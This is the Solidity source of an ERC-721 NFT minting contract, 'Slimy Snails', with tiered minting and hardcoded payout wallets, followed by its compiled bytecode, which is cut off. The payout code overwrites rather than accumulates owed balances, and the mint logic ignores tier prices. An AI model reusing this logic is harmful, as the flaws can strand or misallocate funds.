virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract Functional { function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } bool private _reentryKey = false; modifier reentryLock { require(!_reentryKey, "attempt to reenter a locked function"); _reentryKey = true; _; _reentryKey = false; } } // ****************************************************************************************************************************** // ************************************************** Start of Main Contract *************************************************** // ****************************************************************************************************************************** contract slimySnails is IERC721, Ownable, Functional { using Address for address; // Token name string private _name; // Token symbol string private _symbol; // URI Root Location for Json Files string private _baseURI; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // PandaBugz Specific Functionality bool public mintActive; bool public whiteActive; bool public greyActive; bool private _hideTokens; //for URI redirects uint256 public price; uint256 public maxPerWallet; uint256 private _greyListPrice; uint256 private _whiteListPrice; uint256 public totalTokens; uint256 public numberMinted; mapping(address => bool) private _whitelist; mapping(address => bool) private _greylist; mapping(address => uint256) private _payoutPercent; mapping(address => uint256) private _payoutAmount; mapping(address => uint256) private _numberPurchased; address[] private _payoutWallets; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor() { //*** notes ***// // Removed Max per Txn // Add wallet tracker _name = "Slimy Snails"; _symbol = "SNAIL"; // Set URI to the propper address from the get-go, no secret mission going on here ;) _baseURI = "https://slimysnails.io/metadata/"; _hideTokens = true; totalTokens = 5555; price = 55 * (10 ** 15); // Replace leading value with price in finney maxPerWallet = 20; _whiteListPrice = price; _greyListPrice = price; _payoutWallets.push(0x5A3e0bB30423fa1B7601a06C5F88b862F7D77C71); _payoutPercent[0x5A3e0bB30423fa1B7601a06C5F88b862F7D77C71] = 455; _payoutWallets.push(0x1FE4d637C215722C0De4dAba922323Ad228ACF00); _payoutPercent[0x1FE4d637C215722C0De4dAba922323Ad228ACF00] = 100; //art _payoutWallets.push(0x690360ABbB34649eB3d4D811f8e9362303e95080); _payoutPercent[0x690360ABbB34649eB3d4D811f8e9362303e95080] = 50; _payoutWallets.push(0x2496286BDB820d40C402802F828ae265b244188A); _payoutPercent[0x2496286BDB820d40C402802F828ae265b244188A] = 50; //ogg _payoutWallets.push(0x6B1e16029ee4232Be377accbaF9304F5620D39a3); _payoutPercent[0x6B1e16029ee4232Be377accbaF9304F5620D39a3] = 50; _payoutWallets.push(0x8934CC45DF1aB99Fb75Bc53a617548e1096f3013); _payoutPercent[0x8934CC45DF1aB99Fb75Bc53a617548e1096f3013] = 120; _payoutWallets.push(0x0c0d73B99d81B237cD67EfAFB7fe6475F360917A); _payoutPercent[0x0c0d73B99d81B237cD67EfAFB7fe6475F360917A] = 25; _payoutWallets.push(0x9579074285DE0A1166493e7054b0a241907C51dE); _payoutPercent[0x9579074285DE0A1166493e7054b0a241907C51dE] = 25; _payoutWallets.push(0x4dc6823268ceC81bE1c4F1AeF10F7206cac2d56b); _payoutPercent[0x4dc6823268ceC81bE1c4F1AeF10F7206cac2d56b] = 25; _payoutWallets.push(0x58B9369f1ed16D38De267663dc9B1389a9571623); _payoutPercent[0x58B9369f1ed16D38De267663dc9B1389a9571623] = 50; //powi _payoutWallets.push(0xA5bBc9FBB516818e875B0e563DE0e60bfd517764); _payoutPercent[0xA5bBc9FBB516818e875B0e563DE0e60bfd517764] = 50; } //@dev See {IERC165-supportsInterface}. Interfaces Supported by this Standard function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC165).interfaceId || interfaceId == slimySnails.onERC721Received.selector; } // Standard Withdraw function for the owner to pull the contract function withdraw() external reentryLock { //send to addresses and percentages uint256 sendAmount = _payoutAmount[_msgSender()]; _payoutAmount[_msgSender()] = 0; (bool success, ) = msg.sender.call{value: sendAmount}(""); require(success, "Transaction Unsuccessful"); } function assignPayouts(uint256 amountReceived) internal { require(amountReceived > 0); for(uint i; i < _payoutWallets.length; i++){ _payoutAmount[_payoutWallets[i]] = (_payoutPercent[_payoutWallets[i]] * amountReceived) / 1000; } } function ownerMint(address _to, uint256 qty) external onlyOwner { require((numberMinted + qty) > numberMinted, "Math overflow error"); require((numberMinted + qty) < totalTokens, "Cannot fill order"); uint256 mintSeedValue = numberMinted; //Store the starting value of the mint batch} for(uint256 i = 0; i < qty; i++) { _safeMint(_to, mintSeedValue + i); numberMinted ++; //reservedTokens can be reset, numberMinted can not } } function mint(uint256 mintType, uint256 qty) external payable reentryLock { // mintType 1 for pre-sale (whitelist), 2 for greyList, 3 for regular mint require(((mintType > 0)&&(mintType<4)), "Invalid Mint Txn"); uint256 mintPrice; // defines the price for this txn uint256 walletMax; // defines the max per wallet for this txn string memory notAvailable = "Mint type not available at this time."; if (mintType == 1){ mintPrice = _whiteListPrice; walletMax = 2; require(_whitelist[_msgSender()], "Mint: Unauthorized Access"); require(whiteActive, notAvailable); require((_numberPurchased[_msgSender()] + qty) <= walletMax, "mint exceeds allowance"); } if (mintType == 2){ mintPrice = _greyListPrice; walletMax = 1; require(_greylist[_msgSender()], "Mint: Unauthorized Access"); require(greyActive, notAvailable); require((_numberPurchased[_msgSender()] + qty) <= walletMax, "mint exceeds allowance"); } if (mintType == 3){ mintPrice = price; walletMax = maxPerWallet; require(mintActive, notAvailable); } //switch dependent variables require(msg.value >= qty * mintPrice, "Mint: Insufficient Funds"); require((_balances[_msgSender()] + qty) <= walletMax, "Mint: Max tokens per wallet exceeded"); //regular checks require((qty + numberMinted) < totalTokens, "Mint: Not enough avaialability"); uint256 mintSeedValue = numberMinted; //Store the starting value of the mint batch //wallet transfer scam prevention _numberPurchased[_msgSender()] += qty; //Handle ETH transactions uint256 cashIn = msg.value; uint256 payment = (qty * price); uint256 cashChange = cashIn - payment; if (payment > 0){assignPayouts(payment);} //send tokens for(uint256 i = 0; i < qty; i++) { _safeMint(_msgSender(), mintSeedValue + i); numberMinted ++; } if (cashChange > 0){ (bool success, ) = msg.sender.call{value: cashChange}(""); require(success, "Mint: unable to send change to user"); } } // allows holders to burn their own tokens if desired function burn(uint256 tokenID) external { require(_msgSender() == ownerOf(tokenID)); _burn(tokenID); } ////////////////////////////////////////////////////////////// //////////////////// Setters and Getters ///////////////////// ////////////////////////////////////////////////////////////// function checkPayout() external view returns(string memory){ return string(abi.encodePacked(_payoutAmount[_msgSender()])); } function whiteList(address account) external onlyOwner { _whitelist[account] = true; } function whiteListMany(address[] memory accounts) external onlyOwner { for (uint256 i; i < accounts.length; i++) { _whitelist[accounts[i]] = true; } } function greyList(address account) external onlyOwner { _greylist[account] = true; } function greyListMany(address[] memory accounts) external onlyOwner { for (uint256 i; i < accounts.length; i++) { _greylist[accounts[i]] = true; } } function checkWhitelist(address testAddress) external view returns (bool) { if (_whitelist[testAddress] == true) { return true; } return false; } function checkGreylist(address testAddress) external view returns (bool) { if (_greylist[testAddress] == true) { return true; } return false; } function setMaxWalletThreshold(uint256 maxWallet) external onlyOwner { maxPerWallet = maxWallet; } function setBaseURI(string memory newURI) public onlyOwner { _baseURI = newURI; } function activateMint() public onlyOwner { mintActive = true; } function deactivateMint() public onlyOwner { mintActive = false; } function activateWhiteMint() public onlyOwner { whiteActive = true; } function deactivateWhiteMint() public onlyOwner { whiteActive = false; } function activateGreyMint() public onlyOwner { greyActive = true; } function deactivateGreyMint() public onlyOwner { greyActive = false; } function setPriceAll(uint256 newPrice) public onlyOwner { price = newPrice; _whiteListPrice = newPrice; _greyListPrice = newPrice; } function setPriceMain(uint256 newPrice) public onlyOwner { price = newPrice; } function setPriceWhite(uint256 newPrice) public onlyOwner { _whiteListPrice = newPrice; } function setPriceGrey(uint256 newPrice) public onlyOwner { _greyListPrice = newPrice; } function setTotalTokens(uint256 numTokens) public onlyOwner { totalTokens = numTokens; } function totalSupply() external view returns (uint256) { return numberMinted; //stupid bs for etherscan's call } function hideTokens() external onlyOwner { _hideTokens = true; } function revealTokens() external onlyOwner { _hideTokens = false; } function getBalance(address tokenAddress) view external returns (uint256) { //return _balances[tokenAddress]; //shows 0 on etherscan due to overflow error return _balances[tokenAddress] / (10**15); //temporary fix to report in finneys } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( msg.sender == owner || isApprovedForAll(owner, msg.sender), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != msg.sender, "ERC721: approve to caller"); _operatorApprovals[msg.sender][operator] = approved; emit ApprovalForAll(msg.sender, operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } // *********************** ERC721 Token Receiver ********************** /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4) { //InterfaceID=0x150b7a02 return this.onERC721Received.selector; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} // **************************************** Metadata Standard Functions ********** //@dev Returns the token collection name. function name() external view returns (string memory){ return _name; } //@dev Returns the token collection symbol. function symbol() external view returns (string memory){ return _symbol; } //@dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. function tokenURI(uint256 tokenId) external view returns (string memory){ require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory tokenuri; if (_hideTokens) { //redirect to mystery box tokenuri = string(abi.encodePacked(_baseURI, "mystery.json")); } else { //Input flag data here to send to reveal URI tokenuri = string(abi.encodePacked(_baseURI, toString(tokenId), ".json")); } return tokenuri; } function contractURI() public view returns (string memory) { return string(abi.encodePacked(_baseURI, "contract.json")); } // ******************************************************************************* receive() external payable { uint256 payment = msg.value; if (payment > 0){assignPayouts(payment);} } fallback() external payable { uint256 payment = msg.value; if (payment > 0){assignPayouts(payment);} } }
0x60806040526004361061031e5760003560e01c80635f2f9404116101ab578063b145c013116100f7578063c91c046211610095578063f275d6a71161006f578063f275d6a714610b51578063f2fde38b14610b68578063f8b2cb4f14610b91578063fe779f6c14610bce5761033e565b8063c91c046214610ad2578063e8a3d48514610ae9578063e985e9c514610b145761033e565b8063b5b3e214116100d1578063b5b3e21414610a3e578063b61a413214610a55578063b88d4fde14610a6c578063c87b56dd14610a955761033e565b8063b145c013146109c1578063b3aa8806146109ec578063b4afeed714610a155761033e565b80638da5cb5b11610164578063a035b1fe1161013e578063a035b1fe1461091b578063a22cb46514610946578063a519355a1461096f578063b0b92263146109985761033e565b80638da5cb5b1461089a5780638de801e9146108c557806395d89b41146108f05761033e565b80635f2f94041461079c5780636352211e146107c757806370a0823114610804578063715018a614610841578063756aea54146108585780637e1c0c091461086f5761033e565b8063338431b61161026a57806342966c6811610223578063484b973c116101fd578063484b973c1461070857806349a772b5146107315780634d5a67d81461075c57806355f804b3146107735761033e565b806342966c681461068b57806343d67565146106b4578063453c2310146106dd5761033e565b8063338431b6146105a5578063372c12b1146105e25780633ba5939d1461060b5780633ccfd60b146106225780633d6aa72e1461063957806342842e0e146106625761033e565b80631950c218116102d757806325fd90f3116102b157806325fd90f31461051157806329ccc4781461053c5780632e56f71e1461056557806330e412ad1461057c5761033e565b80631950c2181461048f5780631b2ef1ca146104cc57806323b872dd146104e85761033e565b806301ffc9a71461035957806306fdde0314610396578063081812fc146103c1578063095ea7b3146103fe578063150b7a021461042757806318160ddd146104645761033e565b3661033e576000349050600081111561033b5761033a81610bf7565b5b50005b600034905060008111156103565761035581610bf7565b5b50005b34801561036557600080fd5b50610380600480360381019061037b919061430d565b610d42565b60405161038d9190614ad9565b60405180910390f35b3480156103a257600080fd5b506103ab610ecb565b6040516103b89190614b0f565b60405180910390f35b3480156103cd57600080fd5b506103e860048036038101906103e391906143b0565b610f5d565b6040516103f59190614a72565b60405180910390f35b34801561040a57600080fd5b5061042560048036038101906104209190614284565b610fe2565b005b34801561043357600080fd5b5061044e60048036038101906104499190614139565b6110ec565b60405161045b9190614af4565b60405180910390f35b34801561047057600080fd5b50610479611101565b6040516104869190614e91565b60405180910390f35b34801561049b57600080fd5b506104b660048036038101906104b19190614079565b61110b565b6040516104c39190614ad9565b60405180910390f35b6104e660048036038101906104e191906143dd565b611179565b005b3480156104f457600080fd5b5061050f600480360381019061050a91906140e6565b6118d4565b005b34801561051d57600080fd5b5061052661192d565b6040516105339190614ad9565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906143b0565b611940565b005b34801561057157600080fd5b5061057a6119c6565b005b34801561058857600080fd5b506105a3600480360381019061059e9190614079565b611a5f565b005b3480156105b157600080fd5b506105cc60048036038101906105c79190614079565b611b36565b6040516105d99190614ad9565b60405180910390f35b3480156105ee57600080fd5b5061060960048036038101906106049190614079565b611ba4565b005b34801561061757600080fd5b50610620611c7b565b005b34801561062e57600080fd5b50610637611d14565b005b34801561064557600080fd5b50610660600480360381019061065b91906143b0565b611ee0565b005b34801561066e57600080fd5b50610689600480360381019061068491906140e6565b611f74565b005b34801561069757600080fd5b506106b260048036038101906106ad91906143b0565b611f94565b005b3480156106c057600080fd5b506106db60048036038101906106d691906142c4565b611fe7565b005b3480156106e957600080fd5b506106f26120f8565b6040516106ff9190614e91565b60405180910390f35b34801561071457600080fd5b5061072f600480360381019061072a9190614284565b6120fe565b005b34801561073d57600080fd5b50610746612274565b6040516107539190614e91565b60405180910390f35b34801561076857600080fd5b5061077161227a565b005b34801561077f57600080fd5b5061079a60048036038101906107959190614367565b612313565b005b3480156107a857600080fd5b506107b16123a9565b6040516107be9190614ad9565b60405180910390f35b3480156107d357600080fd5b506107ee60048036038101906107e991906143b0565b6123bc565b6040516107fb9190614a72565b60405180910390f35b34801561081057600080fd5b5061082b60048036038101906108269190614079565b61246e565b6040516108389190614e91565b60405180910390f35b34801561084d57600080fd5b50610856612526565b005b34801561086457600080fd5b5061086d6125ae565b005b34801561087b57600080fd5b50610884612647565b6040516108919190614e91565b60405180910390f35b3480156108a657600080fd5b506108af61264d565b6040516108bc9190614a72565b60405180910390f35b3480156108d157600080fd5b506108da612676565b6040516108e79190614ad9565b60405180910390f35b3480156108fc57600080fd5b50610905612689565b6040516109129190614b0f565b60405180910390f35b34801561092757600080fd5b5061093061271b565b60405161093d9190614e91565b60405180910390f35b34801561095257600080fd5b5061096d60048036038101906109689190614244565b612721565b005b34801561097b57600080fd5b50610996600480360381019061099191906142c4565b61288d565b005b3480156109a457600080fd5b506109bf60048036038101906109ba91906143b0565b61299e565b005b3480156109cd57600080fd5b506109d6612a24565b6040516109e39190614b0f565b60405180910390f35b3480156109f857600080fd5b50610a136004803603810190610a0e91906143b0565b612a91565b005b348015610a2157600080fd5b50610a3c6004803603810190610a3791906143b0565b612b17565b005b348015610a4a57600080fd5b50610a53612b9d565b005b348015610a6157600080fd5b50610a6a612c36565b005b348015610a7857600080fd5b50610a936004803603810190610a8e91906141c1565b612ccf565b005b348015610aa157600080fd5b50610abc6004803603810190610ab791906143b0565b612d2a565b604051610ac99190614b0f565b60405180910390f35b348015610ade57600080fd5b50610ae7612dea565b005b348015610af557600080fd5b50610afe612e83565b604051610b0b9190614b0f565b60405180910390f35b348015610b2057600080fd5b50610b3b6004803603810190610b3691906140a6565b612eab565b604051610b489190614ad9565b60405180910390f35b348015610b5d57600080fd5b50610b66612f3f565b005b348015610b7457600080fd5b50610b8f6004803603810190610b8a9190614079565b612fd8565b005b348015610b9d57600080fd5b50610bb86004803603810190610bb39190614079565b6130d0565b604051610bc59190614e91565b60405180910390f35b348015610bda57600080fd5b50610bf56004803603810190610bf091906143b0565b61312b565b005b60008111610c0457600080fd5b60005b601480549050811015610d3e576103e8826011600060148581548110610c3057610c2f615301565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ca09190615049565b610caa9190615018565b6012600060148481548110610cc257610cc1615301565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610d36906151f0565b915050610c07565b5050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610e0d57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610e7557507f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610ec4575063150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b9050919050565b606060018054610eda9061518d565b80601f0160208091040260200160405190810160405280929190818152602001828054610f069061518d565b8015610f535780601f10610f2857610100808354040283529160200191610f53565b820191906000526020600020905b815481529060010190602001808311610f3657829003601f168201915b5050505050905090565b6000610f68826131b1565b610fa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9e90614d91565b60405180910390fd5b6006600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610fed826123bc565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105590614e31565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061109e575061109d8133612eab565b5b6110dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d490614cd1565b60405180910390fd5b6110e7838361321d565b505050565b600063150b7a0260e01b905095945050505050565b6000600e54905090565b600060011515600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561116f5760019050611174565b600090505b919050565b600060149054906101000a900460ff16156111c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c090614cb1565b60405180910390fd5b6001600060146101000a81548160ff0219169083151502179055506000821180156111f45750600482105b611233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122a90614bd1565b60405180910390fd5b6000806000604051806060016040528060258152602001615af660259139905060018514156113e057600c54925060029150600f60006112716132d6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166112f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ef90614d51565b60405180910390fd5b600860019054906101000a900460ff16819061134a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113419190614b0f565b60405180910390fd5b508184601360006113596132d6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461139e9190614fc2565b11156113df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d690614c51565b60405180910390fd5b5b600285141561156d57600b54925060019150601060006113fe6132d6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611485576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147c90614d51565b60405180910390fd5b600860029054906101000a900460ff1681906114d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ce9190614b0f565b60405180910390fd5b508184601360006114e66132d6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152b9190614fc2565b111561156c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156390614c51565b60405180910390fd5b5b60038514156115d4576009549250600a549150600860009054906101000a900460ff1681906115d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c99190614b0f565b60405180910390fd5b505b82846115e09190615049565b341015611622576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161990614dd1565b60405180910390fd5b8184600560006116306132d6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116759190614fc2565b11156116b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ad90614bf1565b60405180910390fd5b600d54600e54856116c79190614fc2565b10611707576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fe90614b31565b60405180910390fd5b6000600e549050846013600061171b6132d6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117649190614fc2565b9250508190555060003490506000600954876117809190615049565b90506000818361179091906150a3565b905060008211156117a5576117a482610bf7565b5b60005b888110156117f7576117cc6117bb6132d6565b82876117c79190614fc2565b6132de565b600e60008154809291906117df906151f0565b919050555080806117ef906151f0565b9150506117a8565b5060008111156118af5760003373ffffffffffffffffffffffffffffffffffffffff168260405161182790614a42565b60006040518083038185875af1925050503d8060008114611864576040519150601f19603f3d011682016040523d82523d6000602084013e611869565b606091505b50509050806118ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a490614b51565b60405180910390fd5b505b5050505050505060008060146101000a81548160ff0219169083151502179055505050565b6118de33826132fc565b61191d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191490614e51565b60405180910390fd5b6119288383836133da565b505050565b600860009054906101000a900460ff1681565b6119486132d6565b73ffffffffffffffffffffffffffffffffffffffff1661196661264d565b73ffffffffffffffffffffffffffffffffffffffff16146119bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b390614db1565b60405180910390fd5b8060098190555050565b6119ce6132d6565b73ffffffffffffffffffffffffffffffffffffffff166119ec61264d565b73ffffffffffffffffffffffffffffffffffffffff1614611a42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3990614db1565b60405180910390fd5b6000600860006101000a81548160ff021916908315150217905550565b611a676132d6565b73ffffffffffffffffffffffffffffffffffffffff16611a8561264d565b73fffffffffffffffffffff